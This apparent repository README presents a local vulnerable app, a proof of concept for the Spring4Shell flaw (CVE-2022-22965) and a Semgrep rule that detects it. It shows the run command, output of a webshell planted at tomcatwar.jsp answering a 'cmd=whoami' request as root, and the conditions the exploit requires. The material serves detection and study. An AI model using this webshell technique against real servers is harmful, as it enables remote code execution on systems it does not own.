CVE-2022-22965 - vulnerable app and PoC

Trial & error

$ docker rm -f rce; docker build -t rce:latest . && docker run -d -p 8080:8080 --name rce rce:latest && sleep 5 && python poc.py

Output example

rce
sha256:f626a2190dc0790c610afd4f12a4b2482b6a726d671fdac1432275de89c07cd6
1a048e5725f754d331de9491d0750c4c7a163472dea1fd1554edccfd00d7f6e5
deploy <Response [200]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [500]>
webshell http://localhost:8080/tomcatwar.jsp?cmd=whoami
root

Identification with Semgrep

$ semgrep --config=semgrep-rule.yml .

Semgrep rule and test cases

Output example

Findings:

  src/main/java/com/example/demo/controller/IndexController.java
     cve-2022-22965
        Semgrep found a match


         14┆ @RequestMapping("/index")
         15┆ public void index(EvalBean evalBean) {
         16┆
         17┆ }

Ran 1 rule on 3 files: 1 finding.

Vulnerable app requirements¹

• JDK 9 or above
• Standalone Tomcat (no Embedded Tomcat) with WAR deployment
• Any Spring version before 5.3.18 / 5.2.20 (Spring Boot before 2.5.12 / 2.6.6)
• No blocklist on WebDataBinder / InitBinder
• Parameter bind with POJOs directly (no @RequestBody, @RequestQuery, etc.)
• Writeable file system (e.g webapps/ROOT)

Sources

• https://twitter.com/vxunderground/status/1509170582469943303 / https://github.com/craig/SpringCore0day
• https://github.com/fengguangbin/spring-rce-war

Footnotes

1. Assuming exploits similar to the known PoCs. There might be other gadgets... ↩